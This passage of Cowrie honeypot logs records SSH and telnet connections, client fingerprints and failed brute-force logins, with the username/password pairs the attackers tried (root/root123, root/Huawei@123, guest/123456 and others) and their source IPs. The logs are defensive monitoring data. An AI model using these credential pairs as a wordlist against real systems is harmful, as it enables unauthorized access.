0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:09.535718Z","src_ip":"165.154.137.186","session":"8af7349098e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:10.312897Z","src_ip":"165.154.137.186","session":"8af7349098e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.28602647781372,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:10.948561Z","src_ip":"170.64.224.25","session":"d66216dd9a13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:11.573117Z","src_ip":"165.154.137.186","session":"8af7349098e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:11.911371Z","src_ip":"2.57.122.209","session":"d04b8114e2d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":52306,"dst_ip":"10.17.0.5","dst_port":22,"session":"25af8656ddd4","protocol":"ssh","message":"New connection: 165.154.137.186:52306 (10.17.0.5:22) [session: 25af8656ddd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:12.868492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:12.872309Z","src_ip":"165.154.137.186","session":"25af8656ddd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:13.141207Z","src_ip":"165.154.137.186","session":"25af8656ddd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00110936164856,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:13.419948Z","src_ip":"170.64.224.25","session":"2e9a5be94f3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:13.536742Z","src_ip":"2.57.122.209","session":"d04b8114e2d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:13.951071Z","src_ip":"165.154.137.186","session":"25af8656ddd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:15.224031Z","src_ip":"165.154.137.186","session":"25af8656ddd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":52310,"dst_ip":"10.17.0.5","dst_port":22,"session":"12a8bf61dfe0","protocol":"ssh","message":"New connection: 165.154.137.186:52310 (10.17.0.5:22) [session: 12a8bf61dfe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:17.630501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:17.633124Z","src_ip":"165.154.137.186","session":"12a8bf61dfe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:17.890842Z","src_ip":"165.154.137.186","session":"12a8bf61dfe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:18.657870Z","src_ip":"165.154.137.186","session":"12a8bf61dfe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:19.915822Z","src_ip":"165.154.137.186","session":"12a8bf61dfe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":37824,"dst_ip":"159.203.135.109","dst_port":23,"session":"8932f7c968f0","protocol":"telnet","message":"New connection: 34.79.15.88:37824 (159.203.135.109:23) [session: 8932f7c968f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:22.060366Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":37826,"dst_ip":"159.203.135.109","dst_port":23,"session":"601ba3ae9f96","protocol":"telnet","message":"New connection: 34.79.15.88:37826 (159.203.135.109:23) [session: 601ba3ae9f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:22.215473Z"}
{"eventid":"cowrie.session.closed","duration":0.004019737243652344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:22.219360Z","src_ip":"34.79.15.88","session":"601ba3ae9f96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.15.88","src_port":37832,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c829a708e48","protocol":"telnet","message":"New connection: 34.79.15.88:37832 (159.203.135.109:23) [session: 0c829a708e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:22.370192Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46992,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb37733c2a07","protocol":"ssh","message":"New connection: 165.154.137.186:46992 (10.17.0.5:22) [session: bb37733c2a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:25.051038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:25.055600Z","src_ip":"165.154.137.186","session":"bb37733c2a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:25.358679Z","src_ip":"165.154.137.186","session":"bb37733c2a07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:26.159956Z","src_ip":"165.154.137.186","session":"bb37733c2a07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46976,"dst_ip":"10.17.0.5","dst_port":22,"session":"f61a730cb27c","protocol":"ssh","message":"New connection: 165.154.137.186:46976 (10.17.0.5:22) [session: f61a730cb27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:27.211816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:27.226892Z","src_ip":"165.154.137.186","session":"f61a730cb27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:27.429120Z","src_ip":"165.154.137.186","session":"bb37733c2a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:27.480525Z","src_ip":"165.154.137.186","session":"f61a730cb27c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47000,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b48826d543d","protocol":"ssh","message":"New connection: 165.154.137.186:47000 (10.17.0.5:22) [session: 7b48826d543d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:27.748659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:27.752421Z","src_ip":"165.154.137.186","session":"7b48826d543d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:28.025681Z","src_ip":"165.154.137.186","session":"7b48826d543d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:28.492681Z","src_ip":"165.154.137.186","session":"f61a730cb27c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:28.850768Z","src_ip":"165.154.137.186","session":"7b48826d543d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:29.751580Z","src_ip":"165.154.137.186","session":"f61a730cb27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:30.126824Z","src_ip":"165.154.137.186","session":"7b48826d543d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37302,"dst_ip":"10.17.0.5","dst_port":22,"session":"4946b256d961","protocol":"ssh","message":"New connection: 8.210.75.243:37302 (10.17.0.5:22) [session: 4946b256d961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:31.187950Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35696,"dst_ip":"10.17.0.5","dst_port":22,"session":"059cbaa2da0d","protocol":"ssh","message":"New connection: 165.154.137.186:35696 (10.17.0.5:22) [session: 059cbaa2da0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:31.193613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:31.197414Z","src_ip":"165.154.137.186","session":"059cbaa2da0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:31.456121Z","src_ip":"165.154.137.186","session":"059cbaa2da0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.014674425125122,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:32.074903Z","src_ip":"34.79.15.88","session":"8932f7c968f0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:32.234048Z","src_ip":"165.154.137.186","session":"059cbaa2da0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:33.495236Z","src_ip":"165.154.137.186","session":"059cbaa2da0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35712,"dst_ip":"10.17.0.5","dst_port":22,"session":"a87e85e096e2","protocol":"ssh","message":"New connection: 165.154.137.186:35712 (10.17.0.5:22) [session: a87e85e096e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:34.945671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:34.949573Z","src_ip":"165.154.137.186","session":"a87e85e096e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:35.205451Z","src_ip":"165.154.137.186","session":"a87e85e096e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:35.975338Z","src_ip":"165.154.137.186","session":"a87e85e096e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":38484,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fa12886a342","protocol":"ssh","message":"New connection: 101.36.111.155:38484 (10.17.0.5:22) [session: 1fa12886a342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:36.088183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:36.091514Z","src_ip":"101.36.111.155","session":"1fa12886a342","protocol":"ssh"}
